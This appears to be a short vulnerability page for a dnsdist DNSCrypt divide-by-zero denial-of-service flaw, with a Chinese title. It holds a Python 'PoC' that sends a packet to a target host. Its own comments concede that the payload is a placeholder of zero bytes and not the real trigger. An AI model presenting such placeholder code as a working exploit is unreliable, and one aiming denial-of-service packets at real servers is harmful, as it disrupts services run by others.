CVE-2026-33593 DNSCrypt除零错误致拒绝服务漏洞

import socket # PoC for CVE-2026-33593: PowerDNS dnsdist DNSCrypt Divide By Zero # Description: Sends a crafted packet to trigger the crash. # Note: This is a conceptual template. Real exploitation requires # constructing a valid DNSCrypt packet with the specific malicious properties. def send_exploit(target_ip, target_port): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Placeholder payload. # The actual bytes causing the divide by zero must be encrypted # as a valid DNSCrypt query but contain the specific malformed data. # Assuming the crash happens at a specific offset, we send a buffer. payload = b'\x00' * 100 print(f"[*] Sending crafted DNSCrypt packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Payload sent. Check service status.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details TARGET = "127.0.0.1" PORT = 443 send_exploit(TARGET, PORT)